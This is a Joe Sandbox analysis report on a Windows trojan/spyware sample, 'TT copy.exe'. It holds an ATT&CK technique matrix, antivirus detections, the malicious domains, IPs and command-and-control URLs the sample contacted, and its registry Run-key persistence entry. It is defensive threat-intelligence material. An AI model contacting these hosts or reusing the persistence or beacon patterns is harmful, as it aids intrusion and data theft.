Valid Accounts	1 Shared Modules	Path Interception	612 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	612 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	114 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Obfuscated Files or Information	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	13 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Timestomp	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 File Deletion	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
TT copy.exe	34%	Virustotal		Browse
TT copy.exe	100%	Avira	HEUR/AGEN.1236582
TT copy.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.TT copy.exe.520000.0.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.400000.6.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
0.0.TT copy.exe.520000.0.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
0.2.TT copy.exe.520000.0.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.400000.8.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.TT copy.exe.520000.1.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.520000.3.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.520000.5.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.2.TT copy.exe.520000.1.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.520000.7.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.520000.2.unpack	100%	Avira	HEUR/AGEN.1236582	Download File
3.0.TT copy.exe.400000.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.2.TT copy.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.TT copy.exe.520000.9.unpack	100%	Avira	HEUR/AGEN.1236582	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.sassafrasriver.info/umat/(	0%	Avira URL Cloud	safe
http://www.drivetrianrepair.com/umat/?bT7tPLpx=mirGcuiLmtPKrDRAwzy9R4FSSMfuwOXiEO9Msa/shEoIjA842HTgawjSFBDstolWxD5R&Lls=Mzrp	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.huayugw.com	0%	Avira URL Cloud	safe
http://www.sinsegae.net/umat/?bT7tPLpx=D4TTb2HFoQH2akGSEaIGW9Q5orhATJxj88Hz932hPvAyMJtUsfmLZeVWMqqycYkj367i&Lls=Mzrp	100%	Avira URL Cloud	malware
http://www.sassafrasriver.info/umat/em32	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.408wmountain.info/umat/	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.huayugw.com/umat/	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.theflysnare.com/umat/	0%	Avira URL Cloud	safe
http://www.sarrafguler.com/umat/?bT7tPLpx=FnqEmG0l+4J7qDB1yrHJ8vmLGr/EIrLpN16t5uGcZtfyOUhwcz0qzKS8JKDk7Sjhqw7U&Lls=Mzrp	0%	Avira URL Cloud	safe
http://www.fontbureau.comionmz	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.theflysnare.com/umat/?bT7tPLpx=KCFtk2ByPIrj6EQbanamrSzf2WMHsV3o1++x6ahF6LksDSy9FlqjvwWpWYTFvIM6F0DF&Lls=Mzrp	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.comaM	0%	Avira URL Cloud	safe
http://www.408wmountain.info/umat/?bT7tPLpx=+g+DxeMkQzGDCM6UtLigEqbhHpqmy5i0tcGfeVxiUfs1lW6LnDSR3mKv2Ti+o1fqk+Bj&Lls=Mzrp	0%	Avira URL Cloud	safe
http://www.sassafrasriver.info/umat/?bT7tPLpx=YjKReNU7fpMtyeRGaGRV8DawgxIzw/dI3fdHDlQJdSAE6vSrucr3Ac	0%	Avira URL Cloud	safe
http://www.sassafrasriver.info/umat/	0%	Avira URL Cloud	safe
http://www.huayugw.com/umat/?bT7tPLpx=2PPXS0ByghwnUiXofzfHcTluxn0kF7CQXUmv2gLgzHNDwPHvxa5MhM39jfYs7JtQ10qs&Lls=Mzrp	0%	Avira URL Cloud	safe
http://www.sassafrasriver.info/umat/om/	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.drivetrianrepair.com/umat/	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.shopcycles3.com/umat/?bT7tPLpx=fN7N1F2KWXt3ovU6r68cyY5Lu6wYlX1654ZBQHzs5x7zh69UEoWjTQ+z2V8zkyyJbLkO&Lls=Mzrp	100%	Avira URL Cloud	malware
http://www.sassafrasriver.info/umat/L	0%	Avira URL Cloud	safe
http://www.huiyi-sui.com/umat/?bT7tPLpx=0U+wDcNGQqR9Hew/M/CPYn8/YjXw+pI3fQmmix2gP7IpZmdQ6xwgfERw2ruDncdGOHrq&Lls=Mzrp	100%	Avira URL Cloud	malware
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.huiyi-sui.com/umat/	100%	Avira URL Cloud	malware
http://www.sassafrasriver.info/umat/9	0%	Avira URL Cloud	safe
http://www.sassafrasriver.info/umat/:	0%	Avira URL Cloud	safe
http://www.sassafrasriver.info/umat/0	0%	Avira URL Cloud	safe
http://www.sarrafguler.com/umat/	0%	Avira URL Cloud	safe
www.drivetrianrepair.com/umat/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.sassafrasriver.info	172.16.0.13	true	true	unknown
www.huiyi-sui.com	198.44.241.20	true	true	unknown
www.sarrafguler.com	107.187.232.173	true	true	unknown
d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com	18.193.36.153	true	false	high
www.408wmountain.info	66.96.162.130	true	true	unknown
www.shopcycles3.com	162.213.255.237	true	true	unknown
airvataus.com	34.102.136.180	true	true	unknown
www.sinsegae.net	185.254.241.173	true	true	unknown
shops.myshopify.com	23.227.38.74	true	true	unknown
www.huayugw.com	154.36.145.110	true	true	unknown
www.pheife.com	unknown	unknown	true	unknown
www.drivetrianrepair.com	unknown	unknown	true	unknown
www.theflysnare.com	unknown	unknown	true	unknown
www.airvataus.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.drivetrianrepair.com/umat/?bT7tPLpx=mirGcuiLmtPKrDRAwzy9R4FSSMfuwOXiEO9Msa/shEoIjA842HTgawjSFBDstolWxD5R&Lls=Mzrp	true	Avira URL Cloud: malware	unknown
http://www.sinsegae.net/umat/?bT7tPLpx=D4TTb2HFoQH2akGSEaIGW9Q5orhATJxj88Hz932hPvAyMJtUsfmLZeVWMqqycYkj367i&Lls=Mzrp	true	Avira URL Cloud: malware	unknown
http://www.408wmountain.info/umat/	true	Avira URL Cloud: safe	unknown
http://www.huayugw.com/umat/	true	Avira URL Cloud: safe	unknown
http://www.theflysnare.com/umat/	true	Avira URL Cloud: safe	unknown
http://www.sarrafguler.com/umat/?bT7tPLpx=FnqEmG0l+4J7qDB1yrHJ8vmLGr/EIrLpN16t5uGcZtfyOUhwcz0qzKS8JKDk7Sjhqw7U&Lls=Mzrp	true	Avira URL Cloud: safe	unknown
http://www.theflysnare.com/umat/?bT7tPLpx=KCFtk2ByPIrj6EQbanamrSzf2WMHsV3o1++x6ahF6LksDSy9FlqjvwWpWYTFvIM6F0DF&Lls=Mzrp	true	Avira URL Cloud: safe	unknown
http://www.408wmountain.info/umat/?bT7tPLpx=+g+DxeMkQzGDCM6UtLigEqbhHpqmy5i0tcGfeVxiUfs1lW6LnDSR3mKv2Ti+o1fqk+Bj&Lls=Mzrp	true	Avira URL Cloud: safe	unknown
http://www.huayugw.com/umat/?bT7tPLpx=2PPXS0ByghwnUiXofzfHcTluxn0kF7CQXUmv2gLgzHNDwPHvxa5MhM39jfYs7JtQ10qs&Lls=Mzrp	true	Avira URL Cloud: safe	unknown
http://www.drivetrianrepair.com/umat/	true	Avira URL Cloud: malware	unknown
http://www.shopcycles3.com/umat/?bT7tPLpx=fN7N1F2KWXt3ovU6r68cyY5Lu6wYlX1654ZBQHzs5x7zh69UEoWjTQ+z2V8zkyyJbLkO&Lls=Mzrp	true	Avira URL Cloud: malware	unknown
http://www.huiyi-sui.com/umat/?bT7tPLpx=0U+wDcNGQqR9Hew/M/CPYn8/YjXw+pI3fQmmix2gP7IpZmdQ6xwgfERw2ruDncdGOHrq&Lls=Mzrp	true	Avira URL Cloud: malware	unknown
http://www.huiyi-sui.com/umat/	true	Avira URL Cloud: malware	unknown
http://www.sarrafguler.com/umat/	true	Avira URL Cloud: safe	unknown
www.drivetrianrepair.com/umat/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sassafrasriver.info/umat/(	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contextual.media.net/medianet.phpcid=8CU157172&crid=858412214&size=306x271&https=1	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://consent.google.com/hl=en-GB&origin=https://www.google.com&continue=https://www.google.com/?g	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwj8k7G9rJDsAhWNTxUIHZZGDCQQ	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.huayugw.com	rundll32.exe, 0000000F.00000002.776637498.0000000005EAB000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sassafrasriver.info/umat/em32	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.msn.com/ocid=iehp	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://consent.google.com/done8?continue=https://www.google.com/?gws_rd%3Dssl&origin=https://www.go	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.comionmz	TT copy.exe, 00000000.00000002.287711390.0000000001090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/calloutprid=19020392&pgid=19020380&puid=93eb0881ae9ec1db&origin=https%	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fonts.com	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.msn.com/de-ch/ocid=iehp	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://consent.google.com/setpc=s&uxe=4421591	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=4510094	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	TT copy.exe, 00000000.00000002.287711390.0000000001090000.00000004.00000020.00020000.00000000.sdmp, TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contextual.media.net/medianet.phpcid=8CU157172&crid=722878611&size=306x271&https=1;	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/intl/en_uk/chrome/thank-you.htmlstatcb=0&installdataindex=empty&defaultbrowse	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.comaM	TT copy.exe, 00000000.00000002.287711390.0000000001090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/searchpJ	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/gws_rd=sslh5-	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sassafrasriver.info/umat/?bT7tPLpx=YjKReNU7fpMtyeRGaGRV8DawgxIzw/dI3fdHDlQJdSAE6vSrucr3Ac	rundll32.exe, 0000000F.00000002.775145614.00000000034BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775060097.0000000003460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sassafrasriver.info/umat/	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contextual.media.net/checksync.php&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sassafrasriver.info/umat/om/	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=8072167097284;g	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sassafrasriver.info/umat/L	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://consent.google.com/done8continue=https://www.google.com/?gws_rd%3Dssl&origin=https://www.goo	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://adservice.google.com/ddm/fls/i/src=2542116;type=2542116;cat=chom0;ord=8072167097284;gtm=2wg9	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sassafrasriver.info/umat/9	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sassafrasriver.info/umat/:	rundll32.exe, 0000000F.00000002.775195320.00000000034E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/intl/en_uk/chrome/l	rundll32.exe, 0000000F.00000002.775080171.000000000346A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/urlsa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwj8k7G9rJDsAhWNTxUIHZZGDCQQF	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/searchsource=hp&ei=djJ0X6TKCL6IjLsPqriogAY&q=chrome&oq=chrome&gs_lcp=CgZwc3kt	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sassafrasriver.info/umat/0	rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.187.232.173	www.sarrafguler.com	United States	18779	EGIHOSTINGUS	true
154.36.145.110	www.huayugw.com	United States	174	COGENT-174US	true
185.254.241.173	www.sinsegae.net	United Kingdom	136782	PINGTAN-AS-APKirinNetworksCN	true
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
162.213.255.237	www.shopcycles3.com	United States	22612	NAMECHEAP-NETUS	true
18.193.36.153	d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com	United States	16509	AMAZON-02US	false
66.96.162.130	www.408wmountain.info	United States	29873	BIZLAND-SDUS	true
198.44.241.20	www.huiyi-sui.com	United States	26484	IKGUL-26484US	true

Private

IP
172.16.0.13

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	638587
Start date and time: 03/06/202208:14:09	2022-06-03 08:14:09 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	TT copy.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/2@16/9
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 62.2% (good quality ratio 57.3%) Quality average: 73.5% Quality standard deviation: 30.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 155 Number of non-executed functions: 175
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:15:27	API Interceptor	1x Sleep call for process: TT copy.exe modified
08:17:19	API Interceptor	1x Sleep call for process: explorer.exe modified
08:17:19	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run PTHDNLT C:\Program Files (x86)\Euz8d\b60tqzo4nhevx.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
154.36.145.110	paymentcopy_0012.exe	Get hash	malicious	Browse	www.huayugw.com/umat/?vTAl2hqx=2PPXS0ByghwnUiXofzfHcTluxn0kF7CQXUmv2gLgzHNDwPHvxa5MhM39jfYGk5dQx2is&E6fT=0PnHHJyp
23.227.38.74	Popis narudzbi u prilogu.exe	Get hash	malicious	Browse	www.boardsandbeamsdecor.com/euv4/?ShKPBH=vko974XOxwnRXT9jLEv3OkMzdfNnydxLjvDFpz2gkbe4xk485cFYNUs71ryfnXxl50TW&TJED9=yPtl4FjXT
	Nova ozljeda 034245627782.DOC.exe	Get hash	malicious	Browse	www.rematedeldia.com/euv4/?jL3=0bgXdr&3f=E+AdldMsUtuIxZV3GzeilCEOXtaM5yG6oWVR/2hlbhe5LZ2inqV2BFV3XKjv+n3r1qMt
	jLVXJRVrps.exe	Get hash	malicious	Browse	www.maqitashop.com/vweq/?7nth=w6YXkXlp3B&T2M4SPdx=S4/TO+m26yV3DqixBO7CEtMih5IX0OGDHeHxx598F8EK+cWi4xRhhr/b5vUc7gji5Grt
	Company Profile.exe	Get hash	malicious	Browse	www.restlucid.com/f7sb/?Y4H4XZC=0+P4fCb8jv80c/fPiykPtl7wIddneBQlxV5dxaZHucI63xTdMOQbOvMBODdFXxNjBEvK&Xh0h=kH5l3X
	Company Profile.exe	Get hash	malicious	Browse	www.restlucid.com/f7sb/?hTqDeV=0+P4fCb8jv80c/fPiykPtl7wIddneBQlxV5dxaZHucI63xTdMOQbOvMBODdFXxNjBEvK&6ll0il=cTIhQrFX-F
	Novi cjenik u prilogu.exe	Get hash	malicious	Browse	www.rematedeldia.com/euv4/?THYH=E+AdldMsUtuIxZV3GzeilCEOXtaM5yG6oWVR/2hlbhe5LZ2inqV2BFV3XKjv+n3r1qMt&IPnHU4=TJE066CxCz_hD48
	SecuriteInfo.com.Variant.Tedy.120874.17150.exe	Get hash	malicious	Browse	www.sristiagrofarms.com/qnse/?u2J=uhHLxx0x8tXLDud2hlRJcsMNsP3Jl2I4p7TuDIsYKzm02FySQa6ZNXjL1s3EJ2AJrv+YmRH5Zg==&1b=A4O04PB8
	Advance Payment-pdf.exe	Get hash	malicious	Browse	www.herbalifego.store/ae25/?D8Rty8=d4Yp8tYhfDBD&YzrDx=3sCMpGdrJ3oezU5Walx4BoLxxp1U3uaEDZRrXuvFhaBlAVPhSwYFjcMSzdQed8y02ZbF
	IVN 725434522.exe	Get hash	malicious	Browse	www.wtxlaser.com/bg5r/?9r2=SI1e2jC1pdgsQS4zdzeiL8DecxGA8/NwPd7AD+HWX5YHuL/Cz7RCGRbiA63GfgVyMDoc&U6A=k0Dhghn03PeTv4p0
	SecuriteInfo.com.W32.AIDetectNet.01.18544.exe	Get hash	malicious	Browse	www.teleiig.com/hfhf/?m2MPMd=9aPM3DXFRPH037lxwKZyi33svmRf9VE24uTtZr01bqdh5wvkrLt1HDOW55vp676YF4Z8&w4h=d2JxPnN
	novo pedido.pdf.z	Get hash	malicious	Browse	www.dreamlovegifts.com/uevb/?cN6xa=5jcH8pLhav&J48Pd=Zs9sjlWMsJUnoXFnbQMqWCA+4+sAFZFN0q5qf6WhrhJIY8wI135B6vao5GFrVZdgbkkQ
